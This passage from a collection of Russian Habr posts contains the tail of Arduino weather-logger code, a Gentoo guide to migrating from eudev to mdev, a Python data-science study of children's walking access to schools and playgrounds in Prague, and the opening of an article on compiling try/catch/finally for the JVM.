(String(":")) + ((String((\_tRTC1.second()))))))).length(); if (\_disp1oldLength > \_dispTempLength1) { \_isNeedClearDisp1 = 1; } \_disp1oldLength = \_dispTempLength1; \_lcd1.setCursor(0, 0); \_lcd1.print(((((String((\_tRTC1.hour())))) + (String(":")) + ((String((\_tRTC1.minute())))) + (String(":")) + ((String((\_tRTC1.second()))))))); } else { if (\_disp1oldLength > 0) { \_isNeedClearDisp1 = 1; \_disp1oldLength = 0; } } if (1) { \_dispTempLength1 = (((((String((\_tRTC1.day())))) + (String("-")) + ((String((\_tRTC1.month())))) + (String("-")) + ((String((\_tRTC1.year()))))))).length(); if (\_disp2oldLength > \_dispTempLength1) { \_isNeedClearDisp1 = 1; } \_disp2oldLength = \_dispTempLength1; \_lcd1.setCursor(9, 0); \_lcd1.print(((((String((\_tRTC1.day())))) + (String("-")) + ((String((\_tRTC1.month())))) + (String("-")) + ((String((\_tRTC1.year()))))))); } else { if (\_disp2oldLength > 0) { \_isNeedClearDisp1 = 1; \_disp2oldLength = 0; } } if ((\_gtv8) == 0) { \_mux1 = String("DS18B2"); } if ((\_gtv8) == 1) { \_mux1 = String("Bmp-085"); } if ((\_gtv8) == 2) { \_mux1 = String("DHT-22"); } if (1) { \_dispTempLength1 = ((\_mux1)).length(); if (\_disp3oldLength > \_dispTempLength1) { \_isNeedClearDisp1 = 1; } \_disp3oldLength = \_dispTempLength1; \_lcd1.setCursor(int((20 - \_dispTempLength1) / 2), 1); \_lcd1.print((\_mux1)); } else { if (\_disp3oldLength > 0) { \_isNeedClearDisp1 = 1; \_disp3oldLength = 0; } } if ((\_gtv8) == 0) { \_mux2 = \_gtv1; } if ((\_gtv8) == 1) { \_mux2 = \_gtv2; } if ((\_gtv8) == 2) { \_mux2 = \_gtv5; } if (1) { \_dispTempLength1 = ((\_mux2)).length(); if (\_disp4oldLength > \_dispTempLength1) { \_isNeedClearDisp1 = 1; } \_disp4oldLength = \_dispTempLength1; \_lcd1.setCursor(0, 2); \_lcd1.print((\_mux2)); } else { if (\_disp4oldLength > 0) { \_isNeedClearDisp1 = 1; \_disp4oldLength = 0; } } if ((\_gtv8) == 0) { \_mux3 = String("-----"); } if ((\_gtv8) == 1) { \_mux3 = ((\_gtv3) + (String("/")) + (\_gtv4)); } if ((\_gtv8) == 2) { \_mux3 = \_gtv6; } if (1) { \_dispTempLength1 = ((\_mux3)).length(); if (\_disp5oldLength > \_dispTempLength1) { \_isNeedClearDisp1 = 1; } \_disp5oldLength = \_dispTempLength1; \_lcd1.setCursor(0, 3); \_lcd1.print((\_mux3)); } else { if (\_disp5oldLength > 0) { \_isNeedClearDisp1 = 1; \_disp5oldLength = 0; } } if (!(\_bounseInput6O)) { if (! \_sd1UFOS1) { \_sd1DF = SD.open("test.csv"); if (\_sd1DF) { while (\_sd1DF.available()) { Serial.write(\_sd1DF.read()); } \_sd1DF.close(); } \_sd1UFOS1 = 1; } } else { if ( \_sd1UFOS1) { \_sd1UFOS1 = 0; } } } bool \_isTimer(unsigned long startTime, unsigned long period ) { unsigned long endTime; endTime = startTime + period; return (millis() >= endTime); } String \_floatToStringWitRaz(float value, int raz) { float tv; int ti = int(value); String ts = String(ti); if (raz == 0) { return ts; } ts += "."; float tf = abs(value - ti); for (int i = 1; i <= raz; i++ ) { tv = tf \* 10; ti = int(tv); ts += String(ti); tf = (tv - ti); } return ts; } float \_convertDS18x2xData(byte type\_s, byte data[12]) { int16\_t raw = (data[1] << 8) | data[0]; if (type\_s) { raw = raw << 3; if (data[7] == 0x10) { raw = (raw & 0xFFF0) + 12 - data[6]; } } else { byte cfg = (data[4] & 0x60); if (cfg == 0x00) raw = raw & ~7; else if (cfg == 0x20) raw = raw & ~3; else if (cfg == 0x40) raw = raw & ~1; } return (float)raw / 16.0; } float \_readDS18\_ow3(byte addr[8], byte type\_s) { byte data[12]; byte i; \_ow3.reset(); \_ow3.select(addr); \_ow3.write(0xBE); for ( i = 0; i < 9; i++) { data[i] = \_ow3.read(); } \_ow3.reset(); \_ow3.select(addr); \_ow3.write(0x44, 1); return \_convertDS18x2xData(type\_s, data); } ``` Я думаю, данная система будет полезна, например, на даче. Уехал на неделю, в конце недели по приезду можно посмотреть историю погоды, были ли заморозки и т.п.
https://habr.com/ru/post/242045/
null
ru
null
# gentoo: миграция с eudev на mdev Если вы используете gentoo и отслеживаете уведомления о грядущих изменениях, то еще в июле вы могли видеть, что с нового года gentoo перестает поддерживать eudev. Если вы попытаетесь обновить систему сейчас, вы увидите ``` !!! The following installed packages are masked: - sys-fs/eudev-3.2.10-r1::gentoo (masked by: package.mask) /var/db/repos/gentoo/profiles/package.mask: # Mike Gilbert (2021-11-27) # eudev will be removed on 2022-01-01. # Please see the news item published on 2021-08-24 for more information. ``` К сожалению переезд с eudev на альтернативы имеет свои особенности, которые мне хочется осветить в этом посте пока память свежа. Мне давно было интересно попробовать mdev, так что новость о конце поддержки eudev я расценил как намек на то, что пора исполнять задуманное. Важное замечание: у меня gentoo работает на headless серверах. Если вам нужно обновить десктопную машину все может быть несколько сложнее, читайте [документацию](https://wiki.gentoo.org/wiki/Mdev). Первая проблема состояла в том, что система хотела поставить sys-fs/static-dev, но не могла этого сделать с вот такой ошибкой: ``` >>> Running pre-merge checks for sys-fs/static-dev-0.1-r2 * We have detected that you currently use udev or devfs or devtmpfs * and this ebuild cannot install to the same mount-point. * ERROR: sys-fs/static-dev-0.1-r2::gentoo failed (pretend phase): * Cannot install on udev/devfs tmpfs. ``` В <https://bugs.gentoo.org/107875#c25> дается решение для выхода из этой ситуации: ``` $ sudo mkdir /tmp/newroot $ sudo mount -o bind / /tmp/newroot $ sudo ROOT=/tmp/newroot/ emerge -av sys-fs/static-dev $ sudo umount /tmp/newroot/ ``` Теперь пакет поставлен и можно заниматься переходом на mdev. Начнем с того, что убедимся, что у нас ничего не завязано на udev, в противном случае перейти на mdev не получится. Проверим, что нет неожиданных зависимостей от udev. У меня это выглядело так: ``` $ equery d udev * These packages depend on udev: sys-apps/hwids-20210613-r1 (virtual/udev) sys-fs/udev-init-scripts-34 (>=virtual/udev-217) virtual/dev-manager-0-r2 (virtual/udev) virtual/libudev-232-r5 (!systemd ? >=sys-fs/udev-232:0/0[abi_x86_32(-)?,abi_x86_64(-)?,abi_x86_x32(-)?,abi_mips_n32(-)?,abi_mips_n64(-)?,abi_mips_o32(-)?,abi_s390_32(-)?,abi_s390_64(-)?]) virtual/udev-217-r3 (>=sys-fs/udev-217) $ ``` Убираем udev из use: ``` $ sudo euse -D udev ``` При этом сохранится старая версия /etc/portage/make.conf, так что вы легко проверите, что изменение именно то, которое нужно, и при необходимости вернетесь на старый конфиг. Теперь можно сделать холостой прогон пересборки мира: ``` $ sudo emerge -uDNvp @world ``` Если в выводе нет ошибок и неожиданных пакетов, то можно продолжать. Для начала нам надо замаскировать sys-fs/udev ``` $ echo "sys-fs/udev"|sudo tee /etc/portage/package.mask/mdev ``` Теперь можно добавить поддержку static и mdev для построения busybox ``` $ echo "sys-apps/busybox static mdev"|sudo tee /etc/portage/package.use/mdev ``` Строим busybox ``` $ sudo emerge --ask --oneshot busybox ``` Видим: ``` The following USE changes are necessary to proceed: (see "package.use" in the portage(5) man page for more details) # required by sys-apps/busybox-1.34.1::gentoo[static] # required by @selected # required by @world (argument) >=virtual/libcrypt-2 static-libs # required by virtual/libcrypt-2::gentoo # required by sys-apps/busybox-1.34.1::gentoo[static] # required by @selected # required by @world (argument) >=sys-libs/libxcrypt-4.4.25-r1 static-libs ``` Оказывается надо чуть обновить установки построения некоторых библиотек. Делаем это, запускаем emerge еще раз, в моем случае все собралось без проблем. После этого надо добавить скрипт для монтирования devpts, которая не монтируется автоматически при загрузке или через mount -a. В этом же скрипте надо поправить права доступа к /dev/shm, так как по умолчанию доступ есть только у рута. ``` $ echo -e '#!/bin/bash\nmount devpts\nchmod 1777 /dev/shm'|sudo tee /etc/local.d/000.start #!/bin/bash mount devpts chmod 1777 /dev/shm $ sudo chmod +x /etc/local.d/000.start ``` Теперь можно включить запуск mdev при инициализации системы и выключить udev и udev-trigger (про последний официальная документация ничего не пишет). ``` $ sudo rc-update add mdev sysinit * service mdev added to runlevel sysinit $ sudo rc-update del udev sysinit * service udev removed from runlevel sysinit $ sudo rc-update del udev-trigger sysinit * service udev-trigger removed from runlevel sysinit $ ``` Важный момент: у меня на одной из машин использовались predictable interface names и интерфейс назывался enp1s0. После перехода на mdev этот интерфейс стал eth0. Я не переименовал файл в /etc/init.d и не поправил /etc/conf.d/net, так что после перезагрузки пришлось воспользоваться сериальной консолью для логина и исправления. Если у вас используются predictable interface names не повторите моей ошибки. Теперь можно перезагрузиться. ``` sudo reboot ``` Если все прошло хорошо, то можно пересобрать систему ``` $ sudo emerge -uDNva @world ``` И убрать пакеты, которые больше не нужны. ``` $ sudo emerge --ask --depclean --verbose sys-fs/udev sys-fs/eudev ```
https://habr.com/ru/post/592887/
null
ru
null
# Город и данные: анализ пешеходной доступности объектов в Праге с помощью data science ![](https://habrastorage.org/r/w1560/webt/4t/0a/im/4t0aimvmsdzzdyffnvwoxkyq23m.png) Несколько лет назад компания Veeam открыла R&D центр в Праге. Изначально у нас был небольшой офис примерно на 40 человек, но компания активно растет, и сейчас, в новом просторном офисе Rustonka нас уже больше двухсот. Veeam нанимает сотрудников не только из Чехии и Евросоюза, но и активно релоцирует успешных кандидатов из России. Многие переезжают вместе с женой и детьми, и вот тут у них возникает вопрос, с которым я и моя семья столкнулись четыре года назад, когда мы впервые оказались в Праге: нам надо было решить, где выбрать жилье, в какой садик будет ходить дочка, и решить множество других проблем, которые возникали по причине полного незнания города. Конечно, можно проверить всё это своими ногами, но мне захотелось подойти к вопросу с инженерной точки зрения и решить эту задачу с помощью дата-сайнс подхода — с помощью анализа данных в открытом доступе определить наиболее благоприятные для проживания районы Праги. Определение степени благоприятности района — довольно обширная задача, и оценка может быть весьма субъективна, поэтому для начала, я немного конкретизирую и опишу проблему следующим образом: Какой район Праги наиболее привлекателен с точки зрения пешеходной доступности инфраструктуры для детей в возрасте от 10 до 16 лет? Под пешеходной доступностью в своей работе я беру расстояние в 1300 метров. Именно такой порог, согласно различным исследованиям, считается оптимальным для этой возрастной группы. В качестве объектов инфраструктуры я выбрал такие, которые, по моему мнению, посещает большинство детей. Это школы, библиотеки, образовательные центры, спортивные центры и игровые площадки. Город и данные -------------- Прага — столица Чешской республики, её культурный и экономический центр. По совместительству это 14й по величине город в Европейском союзе. На площади в 298 кв. км. официально проживает 1,3 миллиона человек. История Праги насчитывает уже 14 веков. И, как практически любой европейский город, заложенный в раннем средневековье, Прага имеет классическую для этого типа городов топологию. Исторический центр — сравнительно небольшой по площади, с плотной застройкой и узкими улицами. Непосредственно к нему примыкают районы с уже более поздней застройкой, причем, в отличие от самого центра, эти районы неоднократно перестраивались, модернизировались и теперь уже более приспособлены для жизни современного человека. Периферия — спальные районы, плавно переходящие в малоэтажную застройку, и частные дома. В целом Прага очень комфортна для жизни. Она компактна, в ней нет многоэтажной застройки, нет пробок, удобная сеть общественного транспорта. Но это мое личное мнение, и я не могу утверждать, что оно верно на все 100 процентов, поэтому было интересно посмотреть на город с точки зрения цифр. К слову сказать, Прага занимает лидирующие позиции по доступности городских данных. На портале [IPR Praha](http://opendata.praha.eu/organization/ipr) собрано огромное количество различных наборов данных: демография, экономика, транспорт, медицина, экология и т.п. Данные доступны абсолютно свободно, постоянно обновляются и дополняются. География и демография ---------------------- Данные о количественном и качественном составе населения Праги я буду брать из набора данных [Чешского Статистического Бюро](https://www.czso.cz/csu/czso/home). Они были собраны в период последней национальной переписи населения и содержат информация о поле, возрасте и количестве жителей по каждому населенному пункту Чешской Республики. Для крупных населенных пунктов — таких, как Прага и Брно — данные также приведены по каждому отдельно взятому административному району города. Для моего исследования как раз интересны именно эти данные, по каждому из 22 отдельно взятому району Праги. ``` url_population = 'https://www.czso.cz/documents/10180/25233177/sldb_zv.csv' df_population = pd.read_csv(url_population,encoding = "ISO 8859-2") df_population = df_population[(df_population.uzcis == 44)& (df_population.nazev.str.find('Praha') != -1)][['nazev','u01','u04', 'u05', 'u06']] df_population.rename(columns={'nazev':'Name','u01':'Total', 'u04':'Kids', 'u05':'Middle', 'u06':'Senior'}, inplace = True) df_population['Name'] = df_population['Name'].map(lambda x: x.lower()) ``` | typuz\_naz | nazev | uzcis | uzkod | u01 | | --- | --- | --- | --- | --- | | kraj | Hlavní město Praha | 100 | 3018 | 1268796 | Для визуализации данных я взял географические границы административных районов. Они доступны на портале IPR Praha. Для удобства дальнейшего анализа я убрал лишние столбцы и свел данные с этих двух источников в единую таблицу, которую можно посмотреть на моем [GitHub repository](https://github.com/tonnyeremin/Urban-Data-Science/blob/master/data/prague_district_population.csv) | | Name | Geometry | Area | Total | Kids | | --- | --- | --- | --- | --- | --- | | 0 | praha 1 | [[14.410891049000043, 50.078674687000046], [14... | 5538443.86 | 30561.0 | 2391.0 | | 1 | praha 10 | [[14.531321086000048, 50.072240288000046], [14... | 18599366.98 | 113200.0 | 12213.0 | | 2 | praha 11 | [[14.54355294800007, 50.03618763800006], [14.5... | 9793679.84 | 75741.0 | 8688.0 | Куда ходят наши дети? --------------------- В рамках данного исследования я решил сфокусироваться на наиболее часто посещаемых местах: школы, кружки, спортивные секции, игровые площадки и библиотеки. Данные были получены из различных источников и преобразованы в набор, содержащий нужную мне информацию: тип объекта, принадлежность к административному округу, координаты. Я сознательно не использовал какое-либо гео API, во-первых, из-за сильной ограниченности бесплатных версий, а также из-за того что не всегда можно быть уверенным в достоверности этих данных. Вся актуальная информация по школам, а также другим образовательным учреждениям находится в свободном доступе на сайте министерства образования. XML файл содержит исчерпывающую информацию обо всех учреждениях, подчиняющихся министерству. По Праге это 2273 строки. К сожалению, описание к данному файлу отсутствовало, поэтому пришлось вытащить все возможные типы учреждений, их кодовые обозначения и самому понять, какие именно типы меня интересуют. Отфильтровав лишние данные, я получил порядка 500 объектов. Также сразу убрал ненужную мне информацию, оставив только: тип учреждения, его адрес и районную принадлежность. Для будущей модели мне не интересен фактический адрес объекта, поэтому с помощью geo-API я из адреса получил широту и долготу. ``` # Coordinates retrieve function import geocoder def get_coordinates(dataFrame, index_row): dict_coordinates = {} total_count = len(dataFrame.index) current = 0 errors = 0 for index, row in dataFrame.iterrows(): try: g = geocoder.arcgis(row[index_row]) lat = g.json['lat'] lng = g.json['lng'] dict_coordinates[index] = [lat, lng] current+=1 except: errors+=1 print ('Failed to get coordinates for {}: {}'.format(index_row, sys.exc_info()[0])) dataFrame['latitude'] = 0.0 dataFrame['longitude'] = 0.0 for k, v in dict_coordinates.items(): dataFrame.loc[k,'latitude']=v[0] dataFrame.loc[k,'longitude']=v[1] print('Done: Total: {} Success: {} Error {}'.format(total_count, current, errors)) print('Environment was initializied') url_schools = 'https://rejstriky.msmt.cz/opendata/vrejcz010.xml' file_schools = 'schools.xml' results = requests.get(url_schools) results.content with open(file_schools, 'w') as file: file.write(results.text) print('Loaded') import xml.etree.ElementTree as et xtree = et.parse(file_schools) xroot = xtree.getroot() dic_scools = [] try: for entry in xroot.findall('PravniSubjekt'): place_group = entry.find('SkolyZarizeni') if(place_group is None): continue for place in place_group.findall('SkolaZarizeni'): s_id = place.find('IZO').text s_type = place.find('SkolaDruhTyp').text s_name = place.find('SkolaPlnyNazev').text s_capasity = place.find('SkolaKapacita').text s_adress = place.find('SkolaMistaVykonuCinnosti') s_actual_add = s_adress.find('SkolaMistoVykonuCinnosti') s_addres1 = s_actual_add.find('MistoAdresa1').text s_addres2 = s_actual_add.find('MistoAdresa2').text s_addres3 = s_actual_add.find('MistoAdresa3').text dic_scools.append([s_id, s_name, s_type, s_capasity, '{} {} {}'.format(s_addres1, s_addres2, s_addres3)]) print('Completed. Total schools and educational centers count: {}'.format(len(dic_scools))) except: print ('Exception', sys.exc_info()[0]) columns = ['id', 'name', 'type', 'capacity', 'address'] df_education = pd.DataFrame(dic_scools, columns = columns) print('Dataframe created: {},{}'.format(df_education.shape[0], df_education.shape[1])) #upload to datastore df_prague.to_csv('prague_schools.csv') upload_file(storage_creds,'prague_schools.csv','prague_schools.csv') #Check for predefinied types at schools dataframe types = df_education['type'].unique() print('Types in XML file') for t in types: print(t,df_education[df_education.type == t].iloc[0,1]) #filtering types with pd.option_context('mode.chained_assignment', None): types = ['B00', 'F10', 'C00','H22', 'G11'] types_shu = types[0:3] df_education_selected = df_education.loc[df_education.type.isin(types)] df_education_selected.loc[df_education_selected['type'].isin(types_shu), 'Type'] = 'school' df_education_selected = df_education_selected.fillna('educatioanal center') print('Schools and educational centers count {}'.format(df_education_selected.shape[0])) print('Unique types {}'.format(df_education_selected['Type'].unique())) #Cleaning and retriving coordinates df_education_selected.loc[0:, 'District_Name'] = df_education_selected.loc[0:,'address'].apply(lambda x: ' '.join(x.split()[-2:]).lower()) columns_to_drop = ['id','name','capacity', 'type'] df_education_selected.drop(columns = columns_to_drop, inplace = True) get_coordinates(df_education_selected, 'address') df_education_selected.drop(columns = ['address'], inplace= True) df_education_selected.head() ``` | Type | District\_Name | latitude | longitude | | --- | --- | --- | --- | | school | praha 4 | 50.008620 | 14.448992 | | school | praha 1 | 50.080344 | 14.415264 | Точно такие же шаги были сделаны для библиотек, спортивных центров и игровых площадок. Разница лишь заключалась в источниках данных и форматах. Объединив всё в общую таблицу, я получил набор, содержащий 1623 строки. Скачать его можно также с моего [GitHub Repository](https://github.com/tonnyeremin/Urban-Data-Science/blob/master/data/prague_pois.csv). Граф улиц --------- Данные уличной сети я взял из OpenStreetMap. Дорожная сеть Праги представлена геометрическими линиями, характеризованными длиной. На основании этих данных на этапе моделирования будет построен граф маршрутной топологии, и по нему из каждого узла будет построен маршрут до интересующих нас точек. ``` #Loading data from previous steps poi_file_name = files['poi'] population_file_name = files['districts'] df_prague_population, selected_pois = get_data(population_file_name, poi_file_name) print('Total POIs to explore: {}'.format(len(selected_pois))) print('Total Districts to explore: {}'.format(len(df_prague_population))) #Buiding graph start_time = time.time() bbox = get_bounding_box(df_prague_population['Geometry']) bbox_string = '_'.join([str(x) for x in bbox]) net_filename = 'network_{}.h5'.format(bbox_string) print('Selected region bounding box is {}'.format(','.join([str(x) for x in bbox])) ) bbox_aspect_ratio = (bbox[2] - bbox[0]) / (bbox[3] - bbox[1]) print("Build new network") network = osm.pdna_network_from_bbox(bbox[3], bbox[2], bbox[1], bbox[0],network_type='walk') print ('Remove low-connectivity nodes and save to h5') lcn = network.low_connectivity_nodes(impedance=1000, count=10, imp_name='distance') network.save_hdf5(net_filename, rm_nodes=lcn) upload_file(storage_creds,net_filename,net_filename) print('Network with {:,} nodes builded in {:,.2f} secs'.format(len(network.node_ids), time.time()-start_time)) #Statistics #Edge node pairs completed. Took 311.64 seconds #Returning processed graph with 140,877 nodes and 204,649 edges... #Completed OSM data download and Pandana node and edge table creation in 334.49 seconds #Remove low-connectivity nodes and save to h5 File #network_14.224437012000067_49.94190007000003_14.706787572000053_50.17742967400005.h5 Uploaded #Network with 140,877 nodes builded in 701.63 secs ``` В сумме пешеходная сеть Праги содержит 140 822 узла и 204 575 связей. B как видно постронение заняло примерно 10 минут. Готовая сеть лежит на [GitHub](https://github.com/tonnyeremin/Urban-Data-Science/blob/master/data/network_14.224437012000067_49.94190007000003_14.706787572000053_50.17742967400005.h5). На этом этап сбора и очистки данных закончен. На выходе я получил 2 набора данных и уличную сеть Праги. Более подробно изучить весь процесс а также посмотреть код можно в этом блокноте [Data aquisition and cleaning](https://github.com/tonnyeremin/Urban-Data-Science/blob/master/01.%20Walking%20Accessibility%20Data%20Acquisition.ipynb) Анализ данных ------------- Общая численность населения Праги составляет около 1,3 миллиона человек. Самые высокие значения — в южных районах: от 110 тыс. до 130 тыс. Все районы с населением выше среднего расположены вокруг районов исторического центра. Средняя численность населения этих районов составляет 70 тыс. Это ожидаемо: большинство людей в таких городах, как Прага, живут как можно ближе к историческому центру, но не внутри него. Два крупнейших района на севере — с населением от 90 до 100 тыс. — говорят нам о том, в каком направлении происходит развитие Праги. ![](https://habrastorage.org/r/w1560/webt/ab/bv/dw/abbvdwdnouvsx4tb7zm6zwjpa7k.png) На следующей диаграмме мы ясно видим районы, которые в основном интересны семейным парам. Центральные районы и пригороды имеют самые низкие значения, в то время как районы вокруг центра, но не внутри него, имеют средние значения, примерно от 160 до 180 детей на 1000 взрослых. Анализируя население Праги с точки зрения демографии, можно заметить, что распределение детей на 1000 взрослых соотносится с нашим представлением о районах города. ![](https://habrastorage.org/r/w1560/webt/dy/th/c6/dythc6clsmx_gfhs51nw9chyaii.png) Топ-10 районов с наибольшим количеством детей повторяют топ районов из предыдущих графиков. Максимум у нас — это 8 процентов в Праге 4. ![](https://habrastorage.org/r/w1560/webt/d2/do/lw/d2dolwguuaoypcdkncax_rhvnqy.png) Выбранные нами объекты также сосредоточены вокруг исторического центра. Распределение по районам коррелирует с численностью населения районов. У нас примерно одинаковое количество точек во всех районах из топ-10 по численности населения, но с аномально высокими значениями на юге. Общее количество объектов не дает нам полного представления о том, насколько хорош каждый отдельно взятый район для детей. Для нас интереснее посмотреть соотношение количества объектов к численности детей. Например, если мы посмотрим на гистограмму школ, мы заметим, что максимальные значения не коррелируют с величиной популяции. Прага 1 имеет самые высокие значения, но если мы посмотрим на предыдущие графики, то увидим, что по проценту детей Прага 1 даже не входит в топ-10. С другой стороны, Прага 4 имеет самые высокие значения населения, а также средние значения школ/1000. С одной стороны, это связано с низкой численностью детей в центре города, с другой стороны причины в том, что концентрация образовательных учреждений в центре города обычно выше. ![](https://habrastorage.org/r/w1560/webt/dp/uc/nx/dpucnxqch7lnkqh7rpntwzhogzg.png) Такую же картину мы видим на следующих гистограммах. Центральные районы имеют самое высокое значение Объектов на 1000 детей, а пригороды — самое низкое. ![](https://habrastorage.org/r/w1560/webt/aa/uh/ov/aauhovxa_0f5wzsd-hpcumagamo.png) ![](https://habrastorage.org/r/w1560/webt/jd/su/0y/jdsu0ymfxv2cioiz-u-xozcbt5s.png) ![](https://habrastorage.org/r/w1560/webt/a5/1n/e0/a51ne0ndzf3nkwm2rzir5m9maqc.png) ![](https://habrastorage.org/r/w1560/webt/cl/pe/un/clpeungdy8w1_6-z0agspdx8uvy.png) Построение модели ----------------- Для нашего исследования мы не будем использовать четкие границы города, а возьмем квадратную область, описывающую реальные границы. (Мы не можем использовать меньший размер границ — например, административные или исторические районы — поскольку мы должны учитывать, что дети, проживающие на границах двух районов, могут посещать объекты в другом районе.) На первом этапе мы преобразовали уличную сеть в граф. Для построения я использовал фреймворк [Pandana](https://udst.github.io/pandana/index.html). Огромный плюс этого фреймворка заключается в быстром выполнении статистической обработки данных по всей сети. В моем случае построение графа для 140 822 узлов с последующей очисткой заняло порядка 5 минут. (Под очисткой в данном случае я понимаю удаление точек, которые не представляют фактические пресечения и не являются узлами, исходя из теории графов.) ![](https://habrastorage.org/r/w1560/webt/mi/fi/k2/mifik24hnhirdebt5uebjd4t26c.png) Вторым шагом мы накладываем наши объекты на граф и рассчитываем матрицы доступности. (Под матрицей доступности я считаю набор кратчайших расстояний из каждого узла графа до 3х объектов.) На следующем шаге полученные данные мы будем использовать для кластерного анализа | id | 1\_school | 2\_school | 3\_school | 1\_educational center | | --- | --- | --- | --- | --- | | | | | | | | 172508 | 218.384003 | 452.865997 | 502.253998 | 124.689003 | | 172510 | 42.796001 | 326.665985 | 347.582001 | 50.898998 | | 172512 | 226.128006 | 290.959991 | 300.862000 | 421.157990 | | 172513 | 353.912994 | 393.170990 | 442.434998 | 627.351990 | | 172514 | 270.234985 | 443.700989 | 492.393005 | 711.030029 | Кластеризацию я выполнил методом k-средних. Это метод был изобретен в 1950-х годах математиком Гуго Штейнгаузом. Действие алгоритма таково, что он стремится минимизировать суммарное квадратичное отклонение точек кластеров от центров этих кластеров. Алгоритм представляет собой версию EM-алгоритма, применяемого также для разделения смеси гауссиан. Он разбивает множество элементов векторного пространства на заранее известное число кластеров k. Основная идея заключается в том, что на каждой итерации перевычисляется центр масс для каждого кластера, полученного на предыдущем шаге. Затем векторы разбиваются на кластеры вновь, в соответствии с тем, какой из новых центров оказался ближе по выбранной метрике. Алгоритм завершается, когда на какой-то итерации не происходят изменения внутри кластерного расстояния. Это происходит за конечное число итераций, так как количество возможных разбиений итогового множества конечно, а на каждом шаге суммарное квадратичное отклонение уменьшается. Поэтому зацикливание невозможно. Так как алгоритм предполагает заранее известное количество кластеров, я применил еще один хорошо известный алгоритм — Elbow. С его помощью можно определить оптимальное количество кластеров, и в результате я получил 4 кластера. Заключительным шагом я рассчитал для каждого кластера среднее время, за которое ребенок может добраться пешком до ближайшего объекта, а также ввел понятие оценка доступности = фактическое расстояние /1300. ![](https://habrastorage.org/r/w1560/webt/go/7i/hp/go7ihpbgsmhqsi73mvuixtfvy6e.png) | Cluster No | 0 | 1 | 2 | 3 | | --- | --- | --- | --- | --- | | Walkability Score | 1.3 | 2.3 | 1.0 | 1.7 | | Walking time (minutes) | | | | | | Schools | 9 | 44 | 6 | 19 | | Hobby | 36 | 45 | 20 | 44 | | Library | 30 | 45 | 23 | 44 | | Sport facilities | 8 | 43 | 6 | 14 | | Playgrounds | 45 | 45 | 45 | 45 | ![](https://habrastorage.org/r/w1560/webt/oq/au/pe/oqaupet6eynmvwcv0qi8_hhjz9q.png) ![](https://habrastorage.org/r/w1560/webt/jf/3c/v4/jf3cv4-ngquxjywtssmuxv7-_sa.png) ![](https://habrastorage.org/r/w1560/webt/nx/me/iz/nxmeizlpjdr537wdr77qoq8la7a.png) ![](https://habrastorage.org/r/w1560/webt/kt/x3/z6/ktx3z6ncvepjnm901nw8ncxxylu.png) Выводы ------ В результате мы имеем 4 кластера в Праге. Кластер №2 имеет оптимальный показатель пешеходной доступности, равный единице. Это означает, что из каждой точки внутри этого кластера дети могут достичь всех необходимых объектов инфраструктуры примерно за 15 минут. Школы наиболее доступны внутри этого кластера, что является очень хорошим результатом. ![](https://habrastorage.org/r/w1560/webt/xh/od/hy/xhodhyeiuifb8qkcv7xq_9mkre0.png) ![](https://habrastorage.org/r/w1560/webt/1f/ua/0m/1fua0mz4rq95cwl1_nifcdc06ko.png) С другой стороны, кластер №2 охватывает в основном центральный исторический район, а мы знаем, что в этом районе численность детей ниже, чем в соседних районах. Второй кластер — под номером 0 — имеет показатель пешеходной доступности около 1,3. Это означает, что до интересующих нас объектов этого кластера можно добраться менее чем за 10 минут. Это также очень хороший результат. Однако для обоих этих кластеров библиотеки и культурные центры имеют крайне низкие показатели — в среднем мы получаем порядка 30 минут ходьбы. ![](https://habrastorage.org/r/w1560/webt/3k/jy/vy/3kjyvylgjj-n0y2tihucfanyauc.png) ![](https://habrastorage.org/r/w1560/webt/lq/nx/qy/lqnxqy67jeqln4nphe21v0ugehw.png) Заключение ---------- В этом исследовании я проанализировал пешеходную доступность Праги для детей в возрасте 10-16 лет. Я определил основные места посещения для выбранной фокус-группы и выполнил измерение кратчайших расстояний до всех выбранных точек. С помощью алгоритма кластеризации я разделил исследуемую область на 4 кластера. В будущих исследованиях я планирую провести более детальный анализ каждого типа. Также, хочется добавить веса к моему графу улиц, что бы при построении маршрута также учитывать рельеф. Также мне как родителю интересно посмотреть на пешеходную доступность не только с точки зрения кратчайших маршрутов, но и с точки зрения самых безопасных. Ссылки ------ 1. Living Streets (The Pedestrians’ Association) [A LIVING STREETS REPORT](https://www.livingstreets.org.uk/media/3618/ls_school_run_report_web.pdf) 2. [Criterion distances and correlates of active transportation to school in Belgian older adolescents.](https://ijbnpa.biomedcentral.com/articles/10.1186/1479-5868-7-87) Delfien Van Dyck, Ilse De Bourdeaudhuij, Greet Cardon & Benedicte Deforche 3. Naumann, S., & Kovalyov, M. Y. (2017). Pedestrian route search based on OpenStreetMap. In *Intelligent Transport Systems and Travel Behaviour (pp. 87-96)*. Cham: Springer. 4. [Pandana](https://udst.github.io/pandana/introduction.html#introduction) 5. [THE MECHANICS OF WALKING IN CHILDREN](https://physoc.onlinelibrary.wiley.com/doi/pdf/10.1113/jphysiol.1983.sp014895) 6. [OSMnx: Python for Street Networks](https://geoffboeing.com/2016/11/osmnx-python-street-networks/) 7. [География Праги](http://www.geoportalpraha.cz) 8. [Демография](https://www.czso.cz) 9. [Образование и учебные заведения](http://www.msmt.cz/) 10. [Библиотеки Праги: Wikipedia](https://cs.wikipedia.org/wiki/M%C4%9Bstsk%C3%A1_knihovna_v_Praze) 11. [Спортивные учереждения: Opendata Prague](http://opendata.praha.eu/about) 12. [Игровые и спортивные площадки: Opendata Prague](http://opendata.praha.eu/about)
https://habr.com/ru/post/491600/
null
ru
null
# Компиляция Try/Catch/Finally для JVM #### Вместо введения Автор статьи, Alan Keefer[1](#1), является главным архитектором компании Guidewire Software[2](#2), разрабатывающей программное обеспечение для страхового бизнеса. Еще будучи старшим разработчиком, он участвовал в работе над языком Gosu[3](#3). В частности, Алан занимался вопросами компиляции языка в байт-код Java. Данная статья написана в 2009 году и посвящена деталям реализации try/catch/finally в JVM версии 1.6. Для ее прочтения необходимо иметь базовые знания синтаксиса Java, а также понимать назначение байт-кода, простыни которого лежат под катом. Также в конце статьи приведен ряд примеров, похожих на каверзные задачи SCJP. #### Внутренности JVM Одной из вещей, над которой по целому ряду причин мы сейчас работаем, является компиляция нашего «домашнего» языка в байт-код Java. (Для справки: не могу сказать, когда мы закончим. Даже примерно. Даже попадет ли он в будущие релизы.) Веселье заключается в изучении внутренностей JVM, а также поиске всех долбанутых острых углов собственного языка. Но больше всего «веселья» и острых углов доставляют такие операторы, как try/catch/finally. Поэтому, на этот раз, я не буду вдаваться в философию или аджайл. Вместо этого я углублюсь в JVM, куда большинству не требуется (или не хочется) углубляться. Если бы две недели назад вы спросили меня о finally-блоках, я бы 